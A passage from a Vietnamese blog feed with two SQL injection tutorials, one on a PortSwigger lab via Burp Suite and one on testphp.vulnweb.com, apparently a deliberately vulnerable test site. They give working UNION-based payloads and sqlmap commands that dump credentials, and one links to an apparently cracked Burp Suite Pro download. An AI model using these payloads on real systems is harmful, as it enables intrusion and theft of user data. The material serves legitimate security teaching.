					<description><![CDATA[SQL injection (SQLi) vẫn là một trong những lỗ hổng web phổ biến nhất hiện nay. Nhưng làm thế nào để học cách khai thác nó một cách hợp pháp? Đơn giản thôi, bạn chỉ cần tải xuống và định cấu hình Burp Suite Community Edition, đồng thời tạo và lập tài khoản trong PortSwigger [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>SQL injection (SQLi) vẫn là một trong những lỗ hổng web phổ biến nhất hiện nay. Nhưng làm thế nào để học cách khai thác nó một cách hợp pháp? Đơn giản thôi, bạn chỉ cần tải xuống và định cấu hình <a href="https://portswigger.net/burp/communitydownload" target="_blank" rel="noopener">Burp Suite Community Edition</a>, đồng thời tạo và lập tài khoản trong <a href="https://portswigger.net/web-security/all-labs" target="_blank" rel="noopener">PortSwigger Labs</a>.</p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2022/07/1_9BtvaZq8_rkP0xtTyuMMyQ2x.jpeg" alt="SQL Injection cơ bản với Burp Suite" width="700" height="489" title="Cách dùng Burp Suite khai thác SQL Injection 29"></p>
<p>Để khai thác SQL Injection, trước tiên bạn nên <a href="https://anonyviet.com/download-burp-suite-full-key/">tải Burp Suite Pro</a> để thực hành nhé.</p>
<h2>Kế hoạch</h2>
<p>Nhiệm vụ: Tìm Lab “SQL injection attack, liệt kê nội dung cơ sở dữ liệu trên cơ sở dữ liệu không phải Oracle”. Mình đã chọn Lab này vì nó hiển thị tất cả các bước của SQLi cơ bản và giúp bạn hiểu các công cụ của Burp Suite.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_aHt8EpDOkH6Ubqk_Coyq3w.png" alt="Cách dùng Burp Suite khai thác SQL Injection 18" width="700" height="317" title="Cách dùng Burp Suite khai thác SQL Injection 30"></p>
<p>Tóm lại: tìm thông tin đăng nhập Admin</p>
<p>Các bước cần thiết:</p>
<ol>
<li>Tìm và xác nhận <strong class="jy ja">Entry Point (Điểm vào)</strong> trong request web</li>
<li>Tìm hiểu loại <strong class="jy ja">SQL comment</strong> hợp lệ</li>
<li>Tìm số Row trong bảng hiện tại</li>
<li>Tìm các Column trả về STRING</li>
<li>Tìm Table nào nằm trong cơ sở dữ liệu của ứng dụng web này</li>
<li>Tìm Tablemục tiêu (Table có thông tin đăng nhập admin)</li>
<li>Xác định tên Column của Table</li>
<li>Lấy nội dung</li>
</ol>
<h2>SQL Injection cơ bản với Burp Suite</h2>
<h3>1. Tìm và xác nhận Entry Point trong request web</h3>
<p>Khi truy cập trang, bạn sẽ thấy một trang đích bình thường. Mục tiêu của chúng ta là khám phá trang này và tìm kiếm các tham số có liên quan đến cơ sở dữ liệu.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_Qjx6rlPvXc4RmNKVj-nbIA.png" alt="Cách dùng Burp Suite khai thác SQL Injection 19" width="700" height="473" title="Cách dùng Burp Suite khai thác SQL Injection 31"></p>
<p>Ở đây rõ ràng chúng ta có hai tùy chọn: các bộ lọc như ‘All’, ’Clothing&#8217;,&#8230; và My Account nằm ở trên cùng bên phải.</p>
<p>Hãy tập trung vào các bộ lọc.</p>
<p>Nhấp vào “All” sẽ không gọi bất kỳ bộ lọc nào.</p>
<p>Vì vậy, hãy chọn bộ lọc &#8220;Gifts&#8221; để nhận được một phản hồi hợp lệ.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_u0TTA9VlPZzCWD4dBo4bsQ.png" alt="Cách dùng Burp Suite khai thác SQL Injection 20" width="700" height="115" title="Cách dùng Burp Suite khai thác SQL Injection 32"></p>
<p>Bây giờ, hãy tăng sức mạnh cho Burp và truy cập lịch sử HTTP của Proxy của nó. Đảm bảo rằng bạn đã tắt Intercept. Nếu không, nó vẫn hoạt động nhưng mọi thứ sẽ chậm hơn nhiều… bạn có thể tự mình thử.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_2ELvov-EZ_gYml4aDBL26Q.png" alt="Cách dùng Burp Suite khai thác SQL Injection 21" width="700" height="151" title="Cách dùng Burp Suite khai thác SQL Injection 33"></p>
<p>Burp đã chặn một Request tới Ứng dụng Lab. Bây giờ chúng ta cần chỉnh sửa nó. Chúng ta gửi Request  này tới Repeater trong Burp bằng cách nhấp chuột phải vào Request Body và chọn “Send to Repeater”.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_KnPIro6BZJkEi0zrxfezrA.png" alt="Cách dùng Burp Suite khai thác SQL Injection 22" width="646" height="138" title="Cách dùng Burp Suite khai thác SQL Injection 34"></p>
<p>Sau đó, chuyển đến tab Repeater trong Burp và tìm Request. Bạn có thể chỉnh sửa nó ngay bây giờ.</p>
<p>Máy chủ web chỉ hiểu các ký tự URL và chỉ một số nội dung con người có thể đọc được. Vì vậy, hãy bật bộ mã hóa URL tự động trong Burp bằng cách nhấp vào Request body trong Repeater và chọn<strong> URL-encode as you type</strong>. Bây giờ, bất cứ khi nào chúng ta nhập các ký tự mà máy chủ Web không hiểu được sẽ được mã hóa dưới dạng URL và hầu hết các ký tự mà con người có thể đọc được sẽ được giữ nguyên.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_q7a-r_6UPo5qRAXqn3aNAw.png" alt="Cách dùng Burp Suite khai thác SQL Injection 23" width="665" height="629" title="Cách dùng Burp Suite khai thác SQL Injection 35"></p>
<p>Cách dễ nhất để tìm entry point trong SQLi là chèn các Ký tự Xấu. Đây là danh sách cơ bản:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">‘
%27
“
%22
#
%23
;
%3B
)
Wildcard (*)</pre>
<p>Bắt đầu thử chúng từ trên xuống dưới bằng cách đưa chúng vào tham số “category”. Ví dụ:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">?category='
</pre>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_8HC3BPN9iMb_lqLq94ZGsg-1.png" alt="Cách dùng Burp Suite khai thác SQL Injection 24" width="526" height="500" title="Cách dùng Burp Suite khai thác SQL Injection 36"></p>
<p>Ngay sau khi thử ký tự đầu tiên là &#8216;, đã xảy ra lỗi. Đây là một dấu hiệu tốt vì nó có nghĩa là máy chủ đó đã không lọc yêu cầu. Biểu tượng mà chúng ta gửi đã gây ra lỗi trong SQL.</p>
<p>Bạn có thể tự động hóa quy trình này với Burp Intruder.</p>
<h3>2. Tìm ra loại SQL comment hợp lệ</h3>
<p>Chúng ta đã có entry point, là giá trị của tham số &#8220;category&#8221; sau dấu =.</p>
<p>Bây giờ, chúng ta cần học cách kiểm soát điểm nhập này vì nó có thể phá vỡ request SQL hợp lệ.</p>
<p>Việc kiểm soát được thực hiện bằng cách sử dụng comment phù hợp. Tùy thuộc vào kiểu SQL mà có các comment khác nhau. Vì vậy, cách tốt nhất là hãy thử tất cả chúng nhưng hầu hết các cơ sở dữ liệu đều là MSSQL hoặc MySQL. <img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_pKrjK1fvik7PJGYRE9LTvA.png" alt="Cách dùng Burp Suite khai thác SQL Injection 25" width="700" height="783" title="Cách dùng Burp Suite khai thác SQL Injection 37"></p>
<p>Comment dấu gạch ngang kép (-) không tạo ra lỗi, vì vậy nó hợp lệ và chúng ta có thể nhập các câu lệnh hợp lệ trước nó.</p>
<h3>3. Tìm số hàng trong bảng</h3>
<p>Để khai thác cơ sở dữ liệu dễ bị tấn công, trước tiên bạn cần phải tìm cách chuyển các lệnh đến nó. Lưu ý rằng các lệnh trực tiếp không có hiệu lực.</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">‘ SELECT * FROM information_schema.tables —</pre>
<p>Ứng dụng trả về kết quả truy vấn SQL trong các phản hồi của nó, vì vậy có thể sử dụng kiểu tấn công UNION Injection.</p>
<p>Để thực hiện cuộc tấn công UNION, bạn cần xác định số lượng các cột của bảng đang hoạt động.</p>
<p>Số lượng cột: mỗi bảng SQL có một số cột nhất định. Để làm cho cuộc tấn công UNION hoạt động, request sau từ khoá UNION cần phải chứa cùng một lượng cột như bảng đang hoạt động có.</p>
<p>Bảng đang hoạt động: không phải là một thuật ngữ SQL chính thức nhưng mình thích sử dụng nó vì nó phù hợp với cách hoạt động của SQL trên web. Bảng đang hoạt động là bảng được ứng dụng sử dụng để cung cấp các phản hồi dự kiến ​​cho các yêu cầu của người dùng.</p>
<p>Do đó, số lượng cột có thể được xác định bằng cách sử dụng: ORDER BY. Bằng cách tăng số lượng sau nó, chúng ta có thể xác định số lượng cột chính xác.</p>
<p>Bạn sẽ nhận thấy rằng ‘ORDER BY 1 -‘ không tạo ra lỗi nhưng ‘ORDER BY 1 0—‘ thì số lượng cột lớn hơn 1 nhưng nhỏ hơn 10.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_Mw9P4FJ3e8QK6be64247cg.png" alt="Cách dùng Burp Suite khai thác SQL Injection 26" width="700" height="758" title="Cách dùng Burp Suite khai thác SQL Injection 38"></p>
<p>Thử 2 kết quả không có lỗi nhưng cái thứ 3 thì lỗi. Có không quá 3 cột: có đúng 2 cột trong bảng đang hoạt động.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_wp95FzOK1nggyQnljepdhg.png" alt="Cách dùng Burp Suite khai thác SQL Injection 27" width="700" height="757" title="Cách dùng Burp Suite khai thác SQL Injection 39"></p>
<h3>4. Tìm các cột trả về STRING</h3>
<p>Bây giờ, chúng ta đã biết số lượng cột, nhưng chúng ta cần biết những cột nào sẽ cung cấp phản hồi. Chỉ các cột có kiểu dữ liệu CHAR và tương tự mới có thể trả về thông tin con người có thể đọc được.</p>
<p>Điều này có thể được kiểm tra bằng truy vấn UNION SELECT. Nó hoạt động bằng cách kết hợp các kết quả của nhiều câu lệnh select. Câu lệnh select đầu tiên cung cấp thông tin từ bảng đang hoạt động nhưng vì chúng ta hãm truy vấn đầu tiên, nên nó không cung cấp gì cả. Sau UNION là câu lệnh select tiếp theo. Câu lệnh này chỉ là một truy vấn trống nhưng nó nhận được kết quả đầu ra cùng với các kết quả trống từ truy vấn mới nhất.</p>
<p>Nnhập một chuỗi ngẫu nhiên vào mỗi cột:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">‘ UNION SELECT ‘a’, ‘b’ —</pre>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_JcI3aIUQgUjloyvvkFz0cg.png" alt="Cách dùng Burp Suite khai thác SQL Injection 28" width="700" height="765" title="Cách dùng Burp Suite khai thác SQL Injection 40"></p>
<p>Câu trả lời in ra cả a và b. Vì vậy, cả hai cột đều có thể khai thác được.</p>
<p>Hãy sử dụng cột đầu tiên cho phản hồi và vô hiệu hoá cột thứ hai bằng NULL.</p>
<p>Những gì chúng ta cần khi phản hồi là tên bảng, trong điều kiện bình thường sẽ được xác định bằng:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">SELECT table_name FROM information_schema.tables</pre>
<p>information_schema là một bảng quan trọng trong bất kỳ Cơ sở dữ liệu SQL nào. Nó chứa tất cả tên bảng, cột và những thứ thú vị khác.</p>
<p>Vì vậy, chúng ta  yêu cầu nó cung cấp cho chúng ta tất cả các bảng có thể được lưu trữ trong DB để chúng ta có thể tự tay chọn những bảng phù hợp nhất.</p>
<p>Việc tích hợp truy vấn select ở trên vào câu lệnh UNION SELECT sẽ mang lại:</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_6IAo4QKQKy-hgbKbq79jzg.png" alt="Cách dùng Burp Suite khai thác SQL Injection 29" width="700" height="783" title="Cách dùng Burp Suite khai thác SQL Injection 41"></p>
<p>Truy vấn được đưa vào sẽ tìm thấy nhiều bảng. Thông thường, bạn sẽ chọn trường Search trong phản hồi của Burp để tìm các từ khóa như <strong class="jy ja">admin, users, credentials, passwords</strong>…</p>
<p>Từ khoá đầu tiên là Administrable_role_authorizations do từ admin có trong nó. Hãy xem tên các cột trong bảng này là gì.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_uyq9Bzwbnp5RT-e8T8YkAg.png" alt="Cách dùng Burp Suite khai thác SQL Injection 30" width="700" height="681" title="Cách dùng Burp Suite khai thác SQL Injection 42"></p>
<p>Không có gì nổi bật… Vì vậy, chúng ta hãy bỏ qua bảng này.</p>
<p>Bảng tiếp theo là users_spkopw do có từ <strong class="jy ja">users </strong>trong đó.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_kUacn3Idl-y4xOjIIPeWEA.png" alt="Cách dùng Burp Suite khai thác SQL Injection 31" width="700" height="686" title="Cách dùng Burp Suite khai thác SQL Injection 43"></p>
<p>Truy vấn tên cột.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_R2f3GthmR_MuhsB0oFUJHg.png" alt="Cách dùng Burp Suite khai thác SQL Injection 32" width="700" height="604" title="Cách dùng Burp Suite khai thác SQL Injection 44"></p>
<p>Tốt hơn rồi nè. Hãy xuất nội dung của các cột trong bảng này. Lần này, chúng ta sẽ xuất ra phản hồi trong cả hai cột UNION.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_J9AWAXxYFSlUKlBzrT1Hag.png" alt="Cách dùng Burp Suite khai thác SQL Injection 33" width="700" height="747" title="Cách dùng Burp Suite khai thác SQL Injection 45"></p>
<p>Có một số thông tin đăng nhập, nhưng quản trị viên là những gì chúng ta cần. Bây giờ hãy truy cập trang login và sử dụng chúng.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_V69JKtBGxI8YZ-9hktAzqg.png" alt="Cách dùng Burp Suite khai thác SQL Injection 34" width="700" height="372" title="Cách dùng Burp Suite khai thác SQL Injection 46"></p>
<p>Vậy là thành công rồi đó.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>Tôi cần phần mềm nào để thực hiện SQL Injection với Burp Suite?</h3>
<p>Để thực hành khai thác SQL Injection, bạn cần tải xuống và cài đặt Burp Suite Community Edition hoặc Burp Suite Pro.  Bạn cũng có thể sử dụng PortSwigger Labs để thực hành trên môi trường an toàn.</p>
<h3>Làm sao để tìm entry point trong một ứng dụng web?</h3>
<p>Hãy thử chèn các ký tự đặc biệt như ‘, &#8220;, #, ;, ), và * vào các tham số của request URL. Nếu một ký tự gây ra lỗi, đó có thể là entry point cho cuộc tấn công SQL Injection.</p>
<h3>Tôi có thể sử dụng loại comment nào trong SQL Injection?</h3>
<p>Loại comment hợp lệ phụ thuộc vào hệ quản trị cơ sở dữ liệu (DBMS) của ứng dụng. Thử các loại comment như &#8212; (hai dấu gạch ngang) hoặc /* &#8230; */ để tìm loại comment phù hợp không gây ra lỗi.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/cach-dung-burp-suite-khai-thac-sql-injection/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Hướng dẫn khai thác lỗi SQL Injection cơ bản</title>
		<link>https://anonyviet.com/huong-dan-khai-thac-loi-sql-injection-co-ban/</link>
					<comments>https://anonyviet.com/huong-dan-khai-thac-loi-sql-injection-co-ban/#respond</comments>
		
		<dc:creator><![CDATA[Ellyx13]]></dc:creator>
		<pubDate>Fri, 29 Jul 2022 01:50:06 +0000</pubDate>
				<category><![CDATA[Basic Hacking]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[sql injection]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=42574</guid>

					<description><![CDATA[Tấn công SQL injection có thể xảy ra khi một trang web cho người dùng thực thi câu lệnh SQL ngay trên trang Web hoặc thanh địa chỉ. Trong bài này, mình sẽ trình bày cách thực hiện một cuộc tấn công SQL Injection cơ bản trên một trang web và ở phần cuối, mình [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Tấn công SQL injection có thể xảy ra khi một trang web cho người dùng thực thi câu lệnh SQL ngay trên trang Web hoặc thanh địa chỉ. Trong bài này, mình sẽ trình bày cách thực hiện một cuộc tấn công SQL Injection cơ bản trên một trang web và ở phần cuối, mình sẽ nói về công cụ SQLmap, công cụ này sẽ tự động hóa toàn bộ quy trình.</p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2022/07/1_JoR6DsBYIxtYYD77jXAHMA.jpg" alt="Cách để thực hiện một cuộc tấn công SQL Injection cơ bản" width="900" height="540" title="Hướng dẫn khai thác lỗi SQL Injection cơ bản 58"></p>
<p>Trang web <a href="http://testphp.vulnweb.com/listproducts.php?cat=1%27" target="_blank" rel="noopener">http://testphp.vulnweb.com/listproducts.php?cat=1</a> đang kiểm tra các lỗ hổng php. Mình sẽ sử dụng trang web này để thực hiện cuộc tấn công SQLi.</p>
<h2>Cách để thực hiện một cuộc tấn công SQL Injection cơ bản</h2>
<h3>1. Tìm xem trang web có dễ bị tấn công SQL Injection hay không</h3>
<p>Cách cơ bản và đơn giản nhất là kiểm tra URL của các trang bạn đang truy cập. Nếu URL có dạng http://testphp.vulnweb.com/listproducts.php?cat=1, nó là một mục tiêu tiềm năng. Để kiểm tra xem trang web có thực sự đang sử dụng SQL hay không, bạn có thể thêm \ hoặc một dấu ngoặc kép &#8221; hoặc dấu ngoặc đơn &#8216; ở cuối URL và xem liệu có gì trong trang thay đổi hoặc bạn gặp lỗi SQL hay không. Đối với hầu hết các trường hợp, lỗi sẽ như sau:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''a\'' at line 1</pre>
<p>Nhưng lỗi cũng có thể là bất cứ điều gì khác. Đối với trang web http://testphp.vulnweb.com/listproducts.php?cat=1 khi mình thêm dấu &#8216; ở cuối sẽ xuất hiện lỗi:</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_N9uZ-cwX6PwzA9gilv5HtA.jpg" alt="Hướng dẫn khai thác lỗi SQL Injection cơ bản 45" width="531" height="500" title="Hướng dẫn khai thác lỗi SQL Injection cơ bản 59"></p>
<p>Vì vậy, mình đã kết luận rằng trang web này có thể bị tấn công SQL Injection http://testphp.vulnweb.com/listproducts.php?cat=1</p>
<p>Trong backend, ứng dụng có thể đang chạy một truy vấn tương tự như</p>
<p><code>SELECT * FROM XYZ_TABLE WHERE CAT='&lt;the value of id&gt;'</code></p>
<p>Truy vấn được thực thi cho http://testphp.vulnweb.com/listproducts.php?cat=1&#8242; sẽ là</p>
<p><code>SELECT * FROM XYZ_TABLE WHERE CAT=1'</code></p>
<p>Và bạn đã đoán đúng. Lệnh này sẽ tạo ra lỗi.</p>
<p>Chúng ta có thể sửa đổi truy vấn theo bất kỳ cách nào chúng ta muốn. Nếu mình thêm <code>--+</code> vào cuối, truy vấn sẽ chạy mà không có lỗi. (<code>--+</code> hoặc <code>#</code> về cơ bản sẽ comment bất kỳ thứ gì sau nó)</p>
<h3>2. Tìm các Database hiện có</h3>
<p>Bước tiếp theo sẽ là tìm hiểu các database &#8211; cơ sở dữ liệu hiện có. Chúng ta sẽ sử dụng ORDER BY. Nếu mình chạy <a class="au mu" href="http://testphp.vulnweb.com/listproducts.php?cat=1%20order%20by%205" target="_blank" rel="noopener ugc nofollow">http://testphp.vulnweb.com/listproducts.php?cat=1 order by 5</a>, truy vấn MySQL tương ứng sẽ là</p>
<p><code>SELECT * FROM XYZ_TABLE WHERE CAT=1 order by 5--+'</code></p>
<p>Điều này sẽ sắp xếp kết quả dựa trên cột thứ 5</p>
<p>Mình sẽ lặp lại quá trình này với số cột khác nhau cho đến khi mình nhận được số cột mà trang ngắt. Ví dụ: trong trường hợp này khi <code>ORDER BY 12</code>, trang sẽ bị ngắt. Bây giờ mình biết rằng tổng số cột là 11. Vì số cột là 11, nên mình sẽ chạy truy vấn <code>select all 1,2,3,4,5,6,7,8,9,10,11</code>.</p>
<p>http://testphp.vulnweb.com/listproducts.php?cat=1%20union%20select%20all%201,2,3,4,5,6,7,8,9,10,11</p>
<p>Truy vấn MySQL tương ứng sẽ trông như này</p>
<p><code>SELECT * FROM XYZ_TABLE WHERE CAT=1 union select all 1,2,3,4,5,6,7,8,9,10,11</code></p>
<p>Bây giờ điều hướng đến trang web. Ở một số nơi, bạn sẽ tìm thấy một số từ 1 đến 11. Mình thấy số 7, 2 và 9.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_T7bKWJ8NtyjQzUKPBZYPEg.jpg" alt="Hướng dẫn khai thác lỗi SQL Injection cơ bản 46" width="638" height="980" title="Hướng dẫn khai thác lỗi SQL Injection cơ bản 60"></p>
<p>Bây giờ mình biết rằng bất cứ thứ gì mình viết ở vị trí 7, 2 và 9 sẽ được hiển thị. Mình muốn <code class="fr me mf mg mh b">current database</code>, <code class="fr me mf mg mh b">user</code> và<code class="fr me mf mg mh b">version</code>, vì vậy mình sẽ thực thi</p>
<p><a class="au mu" href="https://testphp.vulnweb.com/listproducts.php?cat=1%20union%20select%20all%201,user(),3,4,5,6,database(),8,version(),10,11" target="_blank" rel="noopener ugc nofollow">https://testphp.vulnweb.com/listproducts.php?cat=1%20union%20select%20all%201,user(),3,4,5,6,database(),8,version(),10,11</a> .</p>
<blockquote>
<p>Lưu ý:%20 là ASCII cho space</p>
</blockquote>
<p>Mình đã thay thế 2 bằng <code>user()</code>, 7 bằng <code>database()</code> và 9 bằng <code>version()</code>.</p>
<p>Mình sẽ tìm hiểu cơ sở dữ liệu, phiên bản cơ sở dữ liệu và chi tiết người dùng.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_VjhVjAT-5S7EZNFpURn1CA.jpg" alt="Hướng dẫn khai thác lỗi SQL Injection cơ bản 47" width="613" height="865" title="Hướng dẫn khai thác lỗi SQL Injection cơ bản 61"></p>
<p>Mình nhận được thông tin sau:</p>
<ul class="">
<li id="f2e8" class="nj nk ja li b lj mm ln mn lr nl lv nm lz nn md no np nq nr gc" data-selectable-paragraph="">database — <code class="fr me mf mg mh b">acuart</code></li>
<li id="dba9" class="nj nk ja li b lj ns ln nt lr nu lv nv lz nw md no np nq nr gc" data-selectable-paragraph="">user — <code class="fr me mf mg mh b">acuart@localhost</code></li>
<li id="a594" class="nj nk ja li b lj ns ln nt lr nu lv nv lz nw md no np nq nr gc" data-selectable-paragraph="">version — <code class="fr me mf mg mh b">8.0.22–0ubuntu0.20.04.2</code></li>
</ul>
<h3>3. Tìm Table và dữ liệu trong Table trong Database hiện tại</h3>
<p>Một khi thông tin trên được thu thập, mọi thứ sẽ rất đơn giản. Để có được danh sách các bảng, mình sẽ chạy</p>
<p>http://testphp.vulnweb.com/listproducts.php?cat=1%20union%20select%20all%201,table_name,3,4,5,6,7,8,9,10,11%20from%20information_schema.tables%20where%20table_schema%20=%27acuart%27</p>
<p>Truy vấn SQL tương ứng:</p>
<p><code>SELECT * FROM XYZ_TABLE WHERE CAT=1 union select all 1,table_name,3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema = 'acuart'</code></p>
<p>information_schema là cơ sở dữ liệu mặc định chứa danh sách các bảng. Chúng ta sẽ sử dụng thông tin này để tìm ra tên bảng. acuart là tên cơ sở dữ liệu mà chúng ta nhận được từ bước trước.</p>
<p>Trang web sẽ giống như sau:</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_JqFFRrE6eP-STu9ndyfAoQ.jpg" alt="Hướng dẫn khai thác lỗi SQL Injection cơ bản 48" width="570" height="942" title="Hướng dẫn khai thác lỗi SQL Injection cơ bản 62"></p>
<p>Chúng ta có một danh sách các bảng Table:</p>
<ul class="">
<li id="28d9" class="nj nk ja li b lj mm ln mn lr nl lv nm lz nn md no np nq nr gc" data-selectable-paragraph="">artists</li>
<li id="a527" class="nj nk ja li b lj ns ln nt lr nu lv nv lz nw md no np nq nr gc" data-selectable-paragraph="">carts</li>
<li id="52d5" class="nj nk ja li b lj ns ln nt lr nu lv nv lz nw md no np nq nr gc" data-selectable-paragraph="">categ</li>
<li id="0aa9" class="nj nk ja li b lj ns ln nt lr nu lv nv lz nw md no np nq nr gc" data-selectable-paragraph="">featured</li>
<li id="79b7" class="nj nk ja li b lj ns ln nt lr nu lv nv lz nw md no np nq nr gc" data-selectable-paragraph="">guestbook</li>
<li id="34f6" class="nj nk ja li b lj ns ln nt lr nu lv nv lz nw md no np nq nr gc" data-selectable-paragraph="">pictures</li>
<li id="68db" class="nj nk ja li b lj ns ln nt lr nu lv nv lz nw md no np nq nr gc" data-selectable-paragraph="">products</li>
<li id="e5ed" class="nj nk ja li b lj ns ln nt lr nu lv nv lz nw md no np nq nr gc" data-selectable-paragraph="">users</li>
</ul>
<h3>4. Khám phá tên cột &#8211; Column trong Table</h3>
<p>Khám phá các cột của bảng (column trong Table) <code>users</code></p>
<p><a class="au mu" href="http://testphp.vulnweb.com/listproducts.php?cat=1%20union%20select%20all%201,column_name,3,4,5,6,7,8,9,10,11%20from%20information_schema.columns%20where%20table_name=%27users%27" target="_blank" rel="noopener ugc nofollow">http://testphp.vulnweb.com/listproducts.php?cat=1%20union%20select%20all%201,column_name,3,4,5,6,7,8,9,10,11%20from%20information_schema.columns where table_name=’users’</a></p>
<p>Truy vấn SQL tương ứng:</p>
<p><code>SELECT * FROM XYZ_TABLE WHERE CAT=1 union select all 1,column_name,3,4,5,6,7,8,9,10,11 from information_schema.columns where table_name = 'users'</code></p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_siohGyQaB6ohVkUXt5HA6g.jpg" alt="Hướng dẫn khai thác lỗi SQL Injection cơ bản 49" width="542" height="950" title="Hướng dẫn khai thác lỗi SQL Injection cơ bản 63"></p>
<p>Mình nhận được các tên cột là:</p>
<ul class="">
<li id="a6a8" class="nj nk ja li b lj mm ln mn lr nl lv nm lz nn md no np nq nr gc" data-selectable-paragraph="">uname</li>
<li id="8e2f" class="nj nk ja li b lj ns ln nt lr nu lv nv lz nw md no np nq nr gc" data-selectable-paragraph="">pass</li>
<li id="4ae5" class="nj nk ja li b lj ns ln nt lr nu lv nv lz nw md no np nq nr gc" data-selectable-paragraph="">cc</li>
<li id="e05d" class="nj nk ja li b lj ns ln nt lr nu lv nv lz nw md no np nq nr gc" data-selectable-paragraph="">address</li>
<li id="057e" class="nj nk ja li b lj ns ln nt lr nu lv nv lz nw md no np nq nr gc" data-selectable-paragraph="">email</li>
<li id="bceb" class="nj nk ja li b lj ns ln nt lr nu lv nv lz nw md no np nq nr gc" data-selectable-paragraph="">name</li>
<li id="754d" class="nj nk ja li b lj ns ln nt lr nu lv nv lz nw md no np nq nr gc" data-selectable-paragraph="">phone</li>
</ul>
<h3>5. Tìm dữ liệu được lưu trữ trong Table</h3>
<p>Để xem tên, email, mật khẩu của người dùng:</p>
<p><a class="au mu" href="http://testphp.vulnweb.com/listproducts.php?cat=1%20union%20select%20all%201,name,3,4,5,6,email,8,pass,10,11%20from%20users" target="_blank" rel="noopener ugc nofollow">http://testphp.vulnweb.com/listproducts.php?cat=1%20union select all 1,name,3,4,5,6,email,8,pass,10,11 from users</a></p>
<p>Truy vấn SQL tương ứng:</p>
<p><code>SELECT * FROM XYZ_TABLE WHERE CAT=1 union select all 1,name,3,4,5,6,email,8,pass,10,11 from users</code></p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_iyxLruvS2Polv5wzFrHkwg.jpg" alt="Hướng dẫn khai thác lỗi SQL Injection cơ bản 50" width="370" height="226" title="Hướng dẫn khai thác lỗi SQL Injection cơ bản 64"></p>
<h3>6. Sử dụng SQLmap để tấn công SQL Injection tự động</h3>
<p>Nếu mình muốn sử dụng sqlmap để thực hiện việc trên, mình sẽ phải chạy các lệnh sau trên terminal của mình</p>
<ul>
<li><code>sqlmap -u </code>&#8220;<a class="au mu" href="https://testphp.vulnweb.com/listproducts.php?cat=1" target="_blank" rel="noopener ugc nofollow"><code>https//testphp.vulnweb.com/listproducts.php?cat="</code></a><code> --dbs</code> để lấy danh sách cơ sở dữ liệu<img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_JUFIpV4HpzA0rx56BRrkyA.jpg" alt="Hướng dẫn khai thác lỗi SQL Injection cơ bản 51" width="433" height="101" title="Hướng dẫn khai thác lỗi SQL Injection cơ bản 65"></li>
<li><code>sqlmap -u </code><a class="au mu" href="https://testphp.vulnweb.com/listproducts.php?cat=1" target="_blank" rel="noopener ugc nofollow"><code>"http://testphp.vulnweb.com/listproducts.php?cat=1"</code></a><code> --current-db</code>: lấy cơ sở dữ liệu hiện tại<img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_B8XVphgpef1KcdwCpGuLSw.jpg" alt="Hướng dẫn khai thác lỗi SQL Injection cơ bản 52" width="536" height="61" title="Hướng dẫn khai thác lỗi SQL Injection cơ bản 66"></li>
